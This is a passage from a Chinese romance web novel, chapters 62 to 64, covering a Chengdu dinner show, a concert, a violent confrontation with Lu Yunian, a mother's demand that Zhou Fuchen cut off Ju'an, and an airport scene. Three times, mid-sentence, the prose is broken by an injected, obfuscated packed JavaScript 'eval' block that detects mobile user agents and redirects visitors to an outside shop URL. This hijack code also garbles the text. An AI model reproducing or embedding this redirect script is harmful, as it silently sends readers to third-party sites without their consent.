宋挚笑着颔首,“你说得对,明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16283946|176717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晚你几点出门,我打个车一起去吧。” “别打车吧。”雎安翻看菜单的动作一滞,抬头解释道:“去体育馆的那条路很容易堵车的,坐地铁的话,一出地铁就有接驳大巴,虽然还是要再坐一会儿大巴,但是路途短很多。” 宋挚提出打车,是怕地铁上人太多,坐太久的地铁会累着她,但从抵达速度和保险程度来说,地铁加大巴的方案确实更优。 雎安的提议没有任何问题,但她的类似应激的反应却引起了宋挚的注意。 她的手头应该不是一般得紧。 宋挚虽早已察觉,但毕竟无凭无据,觉得她兴许只是比较谨慎和节约,可此刻,他非常确定,并对她的经济状况和敏感程度都有了数。 “好,我都行。”宋挚面上什么都没表露,“听你的。” 宋挚选的这家店是成都当地著名的餐馆,价格亲民,而且还有表演看,游客不多,倒是有许多本地人光顾,只是环境一般,表演的舞台看着很随意且老旧。 宋挚倒无所谓,他喜欢这种不同于日常的体验,以前还和父母去山区做过义工。 雎安也没表现出不喜,还是和往常一样,对新环境表现出了极大的探索欲和好奇心。 两人有商有量地点完餐,宋挚突然想起他在文殊院的那天,就开口问了她为什么要将伞扔掉。 虽然很可能是伞坏了,这种很普通的原因,但他还是感到好奇。 雎安显然没想到,他那天竟然是在文殊院附近,而且还注意到了她。 “我那天刚好在你附近,你扔伞的动静很大,吓了我一跳。后来,我还被算命的阿姨盯上了。” 闻言,雎安笑了,“啊?这么巧,我也被一个算命的阿姨盯上,说不定是同一个人呢。” 宋挚笑而不语。 雎安接着说道:“说起来也是神奇,我进文殊院后,见没什么太阳,就收了伞,当时‘哒’的一声,我还以为是我收伞的声音,后来我想开伞遮阳的时候,才发现撑不开了,就想着扔了算了,找个便利店买一把新的呗~谁知道还没走到地铁口就下雨了。” 宋挚靠在座椅上静静地看着雎安,没来得及接她的话,抬眸间,舞台亮了灯,将漆黑的夜晚照亮,雎安的目光瞬时被吸引。 宋挚的视线却还留着她身上,直到琅琅铛铛的金属撞击声震天响,才转头看向舞台。 表演正式开始! 餐馆的演员们都是五六十岁的叔叔阿姨,操着地道的方言,化着潦草的妆容,演着随心随意的戏剧,却让台下欢声雷动,让众人喜笑颜开,为其鼓掌雀跃。 雎安一直注视着台上的演员,连宋挚为她烫好并放在碗里的菜都忘了吃。 宋挚轻敲桌子提醒她,雎安还以为是他有话要和她说,闻声后直接探身贴近,视线却还粘在演员身上,谁知一不注意,便打翻了茶壶,壶内的热水倾泻而出。 宋挚赶忙去扶正,热水溅到了他的手腕,疼得他嘶了一声。 “你没事吧?!”雎安倏地起身,走到宋挚身边,抓起他的手查看伤势。 “没事。”宋挚由她抓着,柔声提醒道:“这不是刚烧开的水,没事的。” 比起烫伤,宋挚更在意的是他手上的红绳,那是他母亲生前送给他的礼物。此刻,红绳被雎安一并抓在手里,他尝试将手抽回,害怕雎安会扯到红绳。 “可是,你的手看起来红红的。”宋挚反抗的动作一出,雎安反倒抓得更紧,还伸手去抚摸他泛红的皮肤,因为动作过于轻柔,弄得宋挚有些痒,“会很痛吗?” “没事,吹一吹就行了。” 话一出口,两人都愣住了。 62. Yellow “我的意思是,我待会儿自己吹一吹就好了。” 嘴巴快过脑子的事,以前也发生过,可都没有这次尴尬。 因为他的话放在当下,就是非常得冒犯。 宋挚一顿解释,说自己的手没事,以往偶尔被热汤溅到,他都是这样先呼几口凉气,然后用酒精消毒,涂烫伤膏。 “希望你别往心里去。” 雎安看他说完后顿时僵住的表情,就知道他是口快失言,和猥琐的戏谑骚扰并不是一回事。 更何况,她还是弄伤他的罪魁祸首。 “没事,我明白你的意思。你等我一下……” 雎安想直接离席去附近的药店买烫伤药回来,被眼疾手快的宋挚制止。 “晚点再一起去。你还没吃什么东西呢,而且待会儿就到变脸了,你不是想和演员互动吗?” 毕竟是致力于煽动气氛的叔叔阿姨们组成的草台班子,宋挚侧过头,很有信心地道:“这回一定可以。” 雎安因为他的话顿住,回想他刚刚专心吃菜的样子,对台上的表演无甚关心,原来他提议的餐馆都附带表演,不是因为他想看,而是因为她昨天那两次都没互动上的小遗憾。 “无所谓,还是你的伤重要。” “我不走。”宋挚摇头,表情坚定。“我要看。” 雎安拿他没办法,只好坐回到位置上。 宋挚收回手,右手下意识地摸了摸自己的伤口,然后又看了眼手腕处的红绳,确认红绳上只不过是有一些茶渍后,便将视线转向舞台。 此时,演员已经走下台,径直走向他们。 他们的位置靠前,外形又出众,宋挚并没有感到意外,只有被激昂的音乐带动起来的雎安格外兴奋,手举在半空中,掌心对着演员老师,在和两手触碰的瞬间,他的红蓝脸谱变成了一张哆啦A梦。 雎安瞪大了眼睛,嘴唇变成了O型,片刻呆滞后,连连拍手叫好,情绪价值直接拉满。 宋挚目光盈盈地注视着她,眉目温柔。 演员老师转头便注意到了他,突然伸手过去,他愣愣地伸出手,谁知演员老师猛地收回了手,耍了他一把。 回去的路上,雎安兴趣盎然地模仿起来,在地铁口突然伸手去扶宋挚,在他不理解却尊重地配合之下,又猛地收回手。 宋挚反应过来,知道她是在学演员老师戏耍他的小把戏,无声地笑了下,刚想开口说些玩笑话回敬回敬,却被一个卖花的老婆婆挡住去路。 “栀子花,茉莉花,又香又漂亮,只要三元一串,五块一束哦~” 老奶奶年轻看起来很大了,站在人来人往的地铁口望着穿行而过的人群,本是有些凄惨的画面,却因为她精气神十足的面容和爽朗的吆喝声而变得不同。 “这好香啊~”雎安直接上前去闻了闻。 宋挚面色一紧,没想到她竟敢毫无防备地去闻陌生人手里的东西。 老奶奶见这单生意只能从女生身上做功夫,就一直拉着雎安介绍,说在盛夏,成都人经常随手买些栀子花回家,这算是当地特色。 雎安一听是当地特色就很容易心动,又想到在华州确实没见过这么多栀子花,他们这一路走来,确实经常会碰到很多售卖栀子花的老人家。 “那我要两个手串,一束花。” 老奶奶笑了,一边示意雎安扫码,一边接着推荐,“茉莉花要吗?” “不用了。”雎安付完款,极其自然地将花束递给宋挚。 雎安以为宋挚不喜欢栀子花,因为他接花时面无表情,说谢谢后也没仔细瞧一眼花束。 直到在酒店楼下附近的药店,店员说要查看他的伤口,他第一反应是找位置将花放好,放好后还提醒有些鲁莽的店员不要弄坏花时,雎安才确定他是喜欢栀子花的。 “你不闻闻吗?”雎安将自己手上的栀子花手串递到他面前,“真的很香。” 宋挚敷衍地闻了闻,“嗯,很香。” 店员拿着药膏过来,交代完注意事项后离开。 宋挚才接着说道:“谢谢你的花,我是真的喜欢。只是,以后出门在外,有人让你去闻她手里的东西,一定要小心,不要像刚刚一样直接探身去闻。” 雎安愣了两秒后,才捂着嘴笑出声。 宋挚以为她不以为意,眉头蹙紧了几分,刚要再开口强调严重性。 雎安开口解释道:“我是想着,身边有你这个同伴才敢这样的。你放心吧,平时我看都不会看一眼,就怕是人贩子。不过,你也提醒了我,很多时候,危险来临前是没有征兆的,我以后一定一定会更加注意的。” 在坐电梯上楼回房的时候,雎安没忍住,贴近了些,再次强调,“宋挚,谢谢你的关心。但不要因为关心别人而破坏了你自己的好心情,好吗?” 闻言,宋挚目光幽深地看着她,“雎安,我现在很开心,真的。只是我……很久没有表达开心这个情绪,对它有些陌生。” 雎安立即意会,有些心痛他,“没事的,开心的时候就说自己很开心,失落的时候就说自己很失落。心理医生说,只要直接表达出来就好。比如现在,你说了,我就接收到了你的开心。” 雎安假装自己头上有触角,做了个接受信号的动作。 宋挚被雎安的动作逗笑。 电梯门开,两人走出电梯,宋挚捧着那束栀子花,站在房门前,和雎安确认道:“明天你打算几点出发去体育馆?” “五点,你看可以吗?” “可以。”说完,宋挚推门进房,进去时,手还护了下花。 雎安瞥见他的动作,低头一笑,便也刷卡进了房间。 隔日,雎安和宋挚在出门后,先去吃了顿饭,两人再一次聊得不亦乐乎,忘了时间,出来地铁站坐大巴的时候还碰到大堵车,差点迟到。 宋挚倒还好,毕竟只是路人粉,看演唱会也是图个氛围,错过开场也无所谓。 相较之下,就显得雎安十分焦躁。 宋挚见她如此,很配合地陪她跑了段路,可他的座位是内场,入口不同,跑得是反方向。雎安的座位是最远的山顶票,离这也有段距离。 眼见只剩三分钟就要开场,两人只说了句散场见,便都急匆匆地跑了。 这是雎安人生中的第一场演唱会。 她看得格外沉浸,格外认真,直到距离演唱会结束还有一小时的时候,雎安才打开手机,看到一条来自周浮沉的短信。 他问她现在感觉怎么样,还让她提前十分钟去内场的出入口等宋挚出来。 雎安读完后没回,因为下一条就是宋挚发来的信息。 他没有发任何文字,就发了一张前方的人挥舞着荧光棒、歌手在台上忘情指挥的照片,拍得很有氛围感。 雎安回个了表情包“哇~”,想着等和宋挚汇合后再回复周浮沉,于是便放下了手机。 眼见歌手唱完了他知名度最高的一首歌,演唱会已经持续了两个半小时,这已经比预期的时间多了半小时,雎安激动地挥舞着荧光棒,粉丝们还在台下高 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16296026|176717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喊着返场。 只是,灯光逐渐黯淡,致谢词也已经说完,很多人动身离开,她也离开座位,跟着往后走,站在最后一排空空的座位上看手机,确认自己没收到宋挚的信息后,主动发消息询问。 “演唱会要结束了,你在哪?我去找你?” 雎安在粉丝的高喊声中迷茫地看着内场的座位区,期待着手机的震动。 然而,她等来的却是歌手突然升上来,热情地和粉丝打招呼,现场的尖叫一阵盖过一阵,明显是不相信歌手居然返场了,雎安也激动地往前走了两步,因为担心会挡住其他人的视线,又退了回去。 在歌手解释自己为何返场,以及想要演唱自己很喜欢很喜欢的歌曲来结束今晚时,雎安在人声鼎沸中听到了宋挚的声音,一度怀疑出现错觉。 舞台上,歌手开玩笑地叫住正准备离开人,调侃他们怎么这么着急,摄影师识趣地随机对准一位观众。 那人正是宋挚! 他一直在说不好意思,一直麻烦人收收腿,抬头时,突然发现自己被投到了大屏幕上,他无奈地笑了出来,像是被班主任抓到早退的学生。 碍于歌手一脸期盼地在等回复,他高喊道:“我朋友在等我,抱歉。” “没事没事。”闻言,歌手无所谓地摆摆手,却又蓦地转身,秒变严肃脸,以审问的姿态问道:“是女朋友吗?” 现场一阵暧昧的笑声。 宋挚无奈地摇了摇头。 “暧昧对象?是你喜欢的人喽?” 宋挚只是笑,他看着大屏上的自己,既没有点头,也没有摇头,笑容却透着说不出的甜蜜。 “哦~那也可能是喜欢你的人,毕竟这么晚还来体育馆找你,你要好好对人家哦~去吧去吧。” 歌手见时间差不多,开玩笑地揭过这茬,准备调试耳麦开场,摄像机也从宋挚身上挪开了。 这时,台下突然有人男生戏谑地问道:“会不会是男朋友啊?” 这声音,是卢宇年。 宋挚面色一凛,眉头微皱。 周遭又有些看热闹不嫌事大的起哄声,于是他冷脸回应道:“她是女生。” 现场气氛有一些尴尬。 “好好好,玩笑到此为止,斯多普!现在,我给大家带来的这首歌叫《yellow》,是我从中学开始就很喜欢的歌,希望大家以后都能遇见一个想要飞奔着去见的人,开开心心地度过余生的每一天。” 话音刚落,宋挚在场内跑了起来,歌手往他的方向看了一眼,忍住笑意望向天空,指着黑夜中那一点光亮,唱出了第一句。 “Lookatthestars.Lookhowtheyshineforyou.” “不用过来,我知道你在哪一区。你不要动,我过去找你。” 雎安的手机震了一下,果然是宋挚的信息。 她双手捧着手机,动作呆滞,周边是由荧光棒变成的暖黄色的海洋。她离舞台太远,刚刚只能看到大荧幕上宋挚的脸,和歌手调侃的话。 “是女朋友吗?” “暧昧对象?是你喜欢的人喽?” “哦~那也可能是喜欢你的人,毕竟这么晚还来体育馆找你,你要好好对人家哦~去吧去吧。” 雎安脸刷地一下就红了。 虽然她知道这只是互动环节调动气氛罢了,宋挚也不可能冷着脸说不,但他在屏幕上那饱含甜蜜的笑脸却是让她心跳得飞快。 就好像,她刚才被表白了一样。 63. 难不成,你们在偷情? 雎安深呼吸,试图平复过快的心跳,然而却在歌曲的尾声到来之前,被突然拍了下肩膀。 她浑身一抖,并不是因为害怕,而是她知道身后的人是谁。 “趁着还没散场,我们拍张照吧。” 宋挚气喘吁吁地喘着气,明显是跑过来的。 “昨天在繁育基地没拍照片,现在想想有些后悔,我这次旅游一张照片都没拍。” 雎安庆幸没有灯光打在她的脸上,不然一定会发现她的脸通红,“我帮你和大屏合影吧,比自拍好看。” 宋挚并不废话,自觉地站到她对面,配合地摆上著名拍照姿势“剪刀手”,在歌迷们的欢呼声中完成了和舞台的合影。 “你呢?”宋挚接过自己的手机,“拍吗?” “拍。” 此时,已经有大片人群往外涌,宋挚拍得很不顺利,因为总有人突然出现在镜头前,雎安笑得脸都僵了,仍坚持着看镜头。 直到灯光亮起,一个小姐姐看清了宋挚的脸,脱口而出地问道:“唉,你不是刚刚的那个男生吗?” 不等他们回答,小姐姐顺着相机拍照的方向看,发现了比耶的雎安,蓦地明白过来,以极其狡黠的表情哦了一声,捂嘴笑着走了。 这回彻底不好意思拍了,雎安拉着宋挚的手肘就往外走,一路上,头都低得和鸵鸟似的。 宋挚被这突然的小插曲弄得有些懵,直到他发现了一张巨大的海报…… “雎安。” “嗯?” “抬一下头。” 雎安循着声音抬头的那瞬,感受到有人贴近她,警觉地想侧头去看看,却险些亲到宋挚的脸颊。 宋挚举着手机,确认他和雎安,以及身后的歌手海报都在屏幕里后,迅速摁下了快门键。 定格这一刻。 “哟~” 一道谐谑的声音传入耳内,不是宋挚的声音,但雎安却觉得很是熟悉。 “这不是宋挚和......周浮沉的女朋友吗?” 宋挚眉头紧蹙,转身向后看。 果然是卢宇年。 “你是雎安,邹雎安?” 挽着卢宇年的女人,在看到雎安的那刻,眼睛陡然睁大,一脸错愕。 宋挚这才想起低头去看雎安的反应,她已经抬起头,像被施了定身术般怔怔地对着那衣着略显浮夸的情侣,木然地问道:“你是吴珺?” 雎安自认容貌变化不大,只是脸上不再有青春痘,五官长开了些。吴珺也确实不是因为她的变化而错愕,而是因为卢宇年的那句话。 邹雎安是周浮沉的女朋友。 她知道卢宇年很讨厌周浮沉,因为他的父母很爱比较,而周浮沉又从小就处处压他一头,他就对周浮沉产生了厌恶感,连带着对他身边的人和事都很敏感。 最近,她总会听到卢宇年讥嘲周浮沉交女朋友还一副见不得人的模样,要不是被他撞见,还不知道原来那女人是他的老同学。他还很笃定地说那女人肯定是上不了台面的人,说不定是从事特殊行业的,周浮沉也指不定从哪学来了一套金屋藏娇的本领。 卢宇年在酒吧昏暗的灯光下喝得微醺,话也逐渐变得难听,吴珺就乖乖坐在一旁听他讲,时而为他倒酒,时而出声恭维他,时而......在他嘴里套些小道消息。 “对啊,雎安,我们好久没见了!” 吴珺上前,一把握住雎安的手,像是多年未见的好友,语气激动且饱含情感,“上一次见,好像还是在初中的谢师宴吧,你现在变得好漂亮啊~” 一旁的卢宇年饶有兴味地看着两人,自作主张道:“既然都是老熟人,那就今晚一起吃顿饭。” 是安排的语气。 雎安和宋挚都没应,不大高兴,只有吴珺配合地应声,还说门外就有家火锅店的专车停着,可以不用挤大巴,也不怕打不到车,就能离开这片交通管制区域。 “怎么样,还不错吧?” 吴珺眉眼微微上扬,好似感受不到现场是什么气氛一样,挽着雎安的手就想拉着她往外走。 雎安却是不愿意给这个面子,慢慢地将手抽回,冷着脸道:“不必了,我们都很久没见了,不太熟,一起吃饭也尴尬。” “哦?那你就是和宋挚很熟了。”卢宇年嗤笑一声,对着宋挚问道:“话说,刚刚你说的朋友在哪,不会就是她吧?” 宋挚没有给回应,气氛冷到冰点。 “这么有意思。”卢宇年插着兜一步步走进,混里混气的,却带着种无言的压迫感。 “我记得周浮沉是在华州啊。他的女朋友,跑成都来和你看演唱会,这是怎么个事?” 说着,卢宇年上下打量了一番雎安,挑眉道:“难不成,你们在偷情?” 除了笑得极为张扬的卢宇年,其他几人的表情都沉得可怕。哪怕是路过听到对话的吃瓜路人,表情都是疑惑中带着震惊。 “不过呢,偷情这种事是很刺激,我能理解。我只是没想到,你们这么有种。”卢宇年朝他们比了个讽刺意味拉满的赞,笑道:“不对,你们应该是没想到跑大老远到成都,居然会被熟人撞见。” 一想到周浮沉那小子被最好的朋友绿了,卢宇年就开心得没边,恨不得现在就昭告天下,尤其是那些格外偏爱周浮沉的长辈们看看! “你误会了!” 雎安生气了,语气很冲,又带着像是在辩解的焦急,“周警官不是我的男朋友,而是我的好朋友。他人好,看我有困难,好心帮我一把而已。至于宋挚,是周警官托他帮我的,现在也是我的好朋友。请不要没有弄清事情原委就随意出口伤人,你这样……很没教养。” 听到雎安说卢宇年很没教养的时候,吴珺赶忙往后退了几步,她知道这是卢宇年的雷区,待会儿不知道他会发什么疯。 果不其然,如她所料,卢宇年面色铁青地逼近雎安,不由分说,抬手就要给她一拳。 幸好被宋挚及时拦下,不然以卢宇年握拳时那青筋暴跳的手臂,雎安必定会被打下台阶。 卢宇年不是做样子,他是真的会下狠手。 雎安被宋挚护在身后,惊魂未定,抓着他衣角的手在微微打颤。 “你想做什么?!” 宋挚确是怒了,扯着声音质问,手上稍一使力推搡,瘦弱许多的卢宇年便被推倒在地。 许是没想到力量差距如此之大,站着的宋挚一愣,以为他是在演戏,倒在地上的卢宇年却自嘲地笑了笑,表情却愈加狠厉。 “做什么?我能做什么啊,我可比你瘦弱得多。”卢宇年扶着地板站起身,用舌头顶了顶腮帮子,厉声让躲得老远的吴珺靠过来。 吴珺不敢不从,还按着他的指使将自己的雨伞递了过去。 卢宇年接过后猛地一用力,将伞掰断,用尖刺的那一段挥向宋挚,“去你的,你算什么狗东西!” 在一片尖叫声中,雎安闭上了眼睛。 等她睁眼时,卢宇年已经被特警摁倒在地,她第一反应是去查看宋挚受伤与否。 只见宋挚还坚定地挡在她身上,动作都和她闭眼前时一样。觉察到雎安在担心什么,宋挚安慰道:“我没事,我刚想还手,特警就过来了。” 再然后,他们就都被“请”到流动站内,由警察向双方问清缘由。 期间,吴珺低着头不说话,卢宇年则像是疯了一样,一路上都在说雎安和宋挚是奸夫□□,弄得路人和警察看他们的眼神都变得怪异。 雎安想着当下有警察在,就没那么多顾虑,直接将话挑明,还反讽道:“连情况都没弄清楚就出口污蔑人,明明是有人看什么都脏,却觉得自己声音大就有理。” 卢宇年不顾警察的眼神警告,翘着二郎腿,阴鸷的眼眸透着寒意,“说得可真好,你们在这的事,周浮沉真的知道?” “知道。”雎安的声音格外有力,“是周警官拜托宋挚送我回酒店的。再者,他知道又怎样,不知道又怎么?他不是我的男朋友,我刚刚就已经说过了。” 卢宇年冷哼一声,仿佛听到什么天大的笑话,“你都住他公寓里了,不是男女朋友,那就是情妇!” 闻言,雎安的脸刷地一下涨得通红,在众人的注视下攥紧了拳头。 “浮沉,你怎么还不进去?” 管晋云从包厢内出来,发现自家儿子坐在休息室里的发呆,轻柔的声音中暗含抱怨,“难得你休假,今天家里人又都到齐了,你不能这么没有礼貌。” “我知道,我待会儿就进去。” 周浮沉的声音听着很是疲累,管晋云走到他面前,极其强势地捧起他的头,厉声道:“再累也得讲礼貌。” 华御府是华州市排名前三的高档餐厅,对客人的着装有一定要求,于是乎,包厢内男士都是西装革履,女士也都穿着小礼裙。 今天的周浮沉不同往日,不再是一身板正的制服,而是一身深绿色的老式西服。 这款是他定制的,因为他不喜欢收腰的设计,过于花哨的也不喜欢。当时裁缝建议他选深绿色的时候,他就表现得有些抗拒,若非裁缝是父亲多年好友,坚持让他定下来,他不会想到自己能适配这样的颜色,反倒将他彰显得更为贵气。 “在想那个女孩子?” 管晋云挽着周浮沉,回想他这几个月都不爱搭理他们,往来信息也极少,转而想到那个在他公寓里碰见的女孩,就觉得糟心。 “是。” 管晋云被呛得咳了一声。 “她在成都看演唱会,我拖宋挚帮我看着。人家是有抑郁症的,经不起你冷嘲热讽。” 管晋云觉得好笑,“拜托!你的亲生母亲去你公寓看你,莫名其妙冒出个女人,我还不能说两句了?更何况,我又不知道她的情况,谁叫你遮遮掩掩,不提前和我说清楚。” 静默了会儿,眼见就要通过走廊抵达包厢,管晋云拉住周浮沉,压低声音道:“但你帮人帮到往自己家里带,那就是有问题,我和你爸根本就没说错。为了你的前途着想,你要赶紧把那女孩清理掉,如果她有意见的话,钱和房子的事可以由我来解决,我保证她以后衣食无忧。” 言外之意,她是让周浮沉和那女生断联,而她会给那女生一笔钱。 “妈,你知不知道你在说什么?” 周浮沉的声音不由地提高,被管晋云眼神警告。 “我只是把公寓让给她住,而我根本就没住在那,至于我为什么要这样帮,你难道查不到吗?” 周浮沉的眼眸又暗了几分,“他父母的死和我脱不了干系。” “那又怎样?”管晋云的声音和表情都极其冷酷,“谁能一辈子不犯错,又有几个人敢说自己没说错过话,你只不过是在工作中少了点眼力见,说了些不该说的话。又不是犯了什么天大的大错,多磨砺磨砺就好,干嘛自找麻烦?” 闻言,周浮沉的眼里彻底没了情绪,好似橱窗里昂贵的布偶娃娃, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16307007|176717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 华而不实。 “既然你是出于好心,而不是爱情,那就更没什么好纠结的了。总之,她必须走。我查过,她父亲很早就失业了,一直没有工作,她的母亲甚至还失手杀了自己的丈夫,这样鸡飞狗跳的家庭,这样的身份背景,我绝不可能让她再和你接触。” 语毕,管晋云狠狠地剜他一眼,在推门开的瞬间,迅速转换为温柔贤母的形象,挽着周浮沉笑意盈盈地进了包厢。 即将结束营运的地铁站内,人流却是不减,,其中有不少人是冲刺进来的,雎安和宋挚被裹挟在人群中,只能随着人流前进,前进的方向几乎不受控制。 雎安因为个子矮,被挤得尤为难受。 见状,宋挚背对着人群,为她圈出一个小空间。 本是有些暧昧的姿势,偏尴尬的场景仍历历在目,两人都选择低下头发呆。 直到走出地铁口,雎安终于将憋了一路的话说出口:“对不起,刚刚害你被人指指点点。” “不是你的错。”见她主动提及,宋挚松了口气,“你不是说过吗?我们总是互相揽责任,这种行为就很傻,因为明明就不是我们的错。” 话虽如此,被人在大庭广众之下揭短,雎安还是臊得慌。 “谁叫我这么没用。”雎安停下脚步,挤出一个极其勉强的笑容,以玩笑话的语气道:“自己的生活一团糟,生存都是问题了,竟然还花那么多时间在伤怀感秋上,现在竟然还出来玩,我都佩服我自己。” 说着,雎安用力去踹脚步的小石子,小石子滚啊滚,滚到了一个老奶奶脚边。是一个在接近凌晨的夜晚,仍坐在地铁口卖花的老奶奶。 雎安看见了,无声地叹了口气:“我真是……。” 方才在警务室,雎安澄清自己和周浮沉的关系后,解释说那是周浮沉借给自己暂时居住的公寓,因为自己家破人亡,经济又出了问题。最后,当她意识到自己跌落到自证陷阱的时候,已经霹雳吧啦地说了一堆。 宋挚上前轻扯她的衣角,示意别再说了。 警察也觉得这不是动手的理由,狠狠地训斥了企图用雨伞伤人且态度嚣张的卢宇年,至于宋挚和雎安,他们只简单说了几句。 可是,雎安的话也在侧面佐证了,她倚靠周浮沉生存的事实,还是在宋挚和吴珺面前,这让她觉得很难堪。 “栀子花,栀子花,五块两束,要不要?”老奶奶耳背,听不清他们的对话,以为是情侣在闹矛盾,于是笑着对宋挚说:“买一点吧,女娃儿会高兴的。” 奶奶手里的花蔫蔫的,并不太好看,但宋挚还是买了,“送给你,奶奶说你收了就会开心,而且它的花语有坚强的意思。” “坚强?”雎安接过花,她并不精通花语,没想到看着如此清冷的栀子花竟然有坚强的含义,“我以为坚强是梅花的花语。” 宋挚朝她笑道:“也有其他的意思。不过,你现在最需要的是坚强。” “确实。”雎安低头嗅了嗅,“但它为什么会有坚强的含义呢?” “因为它从寒冬开始孕育花苞,直到酷暑才能开出这么美的花,而且它的叶子四季常绿,历经风霜也没有凋谢。你觉得……这算不算坚强?” 宋挚用手轻轻地触碰花瓣,雎安随着他的动作屏住呼吸。 “其实,我比你颓废多了。只是我家里的经济条件比你好,不用担心生计,所以生活才看起来比你松弛。” 雎安深吸口气,低头看着手里的花,沉默不语。 “我母亲意外去世后,我父亲变了个人,热闹的家突然冷清下来。父亲成天都忙研究,后来索性住在了学校宿舍,经常连电话都打不通,家里只剩我一个人。学习我根本提不起兴致,恋爱我没精力,朋友又因为实习、考研之类的事情很忙碌,哪有那么多时间来注意我?” 宋挚静静地注视着雎安,目光有力,面上的笑容却格外温柔。 他并不觉得讲述这样的事会难过,亦或是难堪。 “那段时间我天天在家呆着,书不想读了,朋友也不想见,整天看手机。严重的时候,我连手机都觉得没意思了,开始怀疑我还有在这世界的必要吗?我就这么一步步把自己封闭起来,一步步走向了抑郁。” 宋挚叹了口气,道:“还是浮沉率先发现了我的不对劲,明明工作那么忙,还约我打球,帮我约心理医生,劝我好好吃药。浮沉他……真的是个心很软的好人,他会忍不住地在背后帮你,其实很符合他的个性。” 当他们的视线交汇,雎安在宋挚的眼中读到了理解、心痛和感同身受。 雎安的声音在轻微打颤,“他很好,你也很好,好得像是我做梦才能遇到的人。” 宋挚看她一副快要哭出来的表情,知道她是感动的,因为他就熟悉这种感觉。当你觉得自己身处悬崖,有人愿意走过来拉你一把的时候,就是会有这种热泪盈眶的感觉。 “说不定,我明天真的会像灰姑娘一样,留下水晶鞋,突然消失了。”宋挚开玩笑,想要缓解此刻有些悲伤的气氛。 谁知雎安突然瞪大眼睛,好似当了真,含着泪的眼眸滑落几滴泪,全都打在了栀子花的花瓣上。 娇弱的花瓣像是受到了巨大的冲击,颤动后彻底蔫了下去,不再有生机。 “我开玩笑的,雎安。” 宋挚的思绪彻底乱了,想说的话就这么毫无顾忌地说了出口。 “我绝不会消失的,只要你想,我会一直在你身边。” 64. 碳水让人快乐 “好,我们......以后一定会是很好很好的朋友。” 雎安在片刻的吃惊后,赶忙补了这句话,随后神情慌乱地转过身,发现老奶奶一直好奇地看着她们,脸不自觉地开始发烫。 宋挚跟着转头,注意到老奶奶手里的花剩得并不多,而剩下的花卖相都不太好,老奶奶再这么蹲下去,还不知道什么时候才能回家。 于是,宋挚索性将花全都买下。 最后,雎安是捧着满怀的花进的房间,而宋挚,也在进门前收到了一袋圆滚滚的碱水面包。 机场候机厅内,宋挚深吸一口气,拨通了宋言林的电话。 而这经常拨不通的电话,这次却恰巧被及时接起。 “宋教授,我想结束休学。” 那边静默了好一会儿,许是不相信,宋言林和宋挚又确认了一遍。 “是的,您没听错,我下周就回学校办手续。” 成都的天空碧空如洗、万里无云,美得像是漫画里手绘的碧蓝幕布。 宋挚抬头,欣赏着目之所及的一切,而广播却不合时宜的响起。 “女士们,先生们,请注意。很抱歉地通知您,由于天气原因,飞往华州市的所有航班都将延迟起飞,等您在候机厅等候进一步通知,谢谢!” 广播结束,宋挚无奈地打开手机搜索华州市的天气状况,结果显示为雷暴天气。 紧接着,他又打开朋友圈,果不其然,刷到了不少人在分享自己的摄影作品,几道雷电划破天际的照片。 当他关掉手机,蓦地想起方才广播说的“所有航班”这四个字。 按道理来说,这个机场离市区远,而且近期是旅游淡季,大概率是机票比高铁票要更便宜。 于是他站起身,拉着行李箱,打算在附近的登机口找找看。 可他起得太快,箱子没能及时转过来,撞到了一个男人的小腿,男人吃痛地轻呼一声,宋挚反应过来后赶忙道歉。 “没事,没事,下次看着点就行。” 张风摸了摸自己的小腿,而后才抬头去看宋挚,和善的眉目下没什么怒气,只是有些痛色。 “你是?”看清张风的眉目后,宋挚轻轻皱起眉头,觉得这人极其眼熟。 张风一愣,淡笑道:“你是去华州的吧?只要你是华州人,应该听过张记鸡公煲,我家的店在当地小有名气。” 宋挚是听过张记鸡公煲,可他熟悉的点好像并不在这,以至于还是有红心未被击中的感觉。 直至张风走远,宋挚看到杜崇礼教授发来的信息,这才猛地想起自己是在杜教授的办公室里见过他。 “真可惜啊,为了生计,初中就辍学打工了。要不然,他这么聪明的人,肯定能在学术研究有一番作为。” “不过也不可惜,是金子总会发光,人现在做老板也做得很好,而且还不忘读书钻研、提升自己!” 他还记得当时杜教授望着他离开的背影感叹的模样,是真的惜才爱才。 过了没多久,他们实验组研究的药用物质提取课题突然便有了充足的实验资金,杜崇礼很是兴奋,那段时间一直在说张老板怎么怎么样,让大家看齐学习。 看来,每个人的生活都有属于自己的挫折和磨难,尤其是现下光鲜亮丽的人,谁又知道曾经经历过怎样的无奈。 “雎安?” 雎安听到有人喊自己,还是女声,鸡皮疙瘩瞬间立了起来。 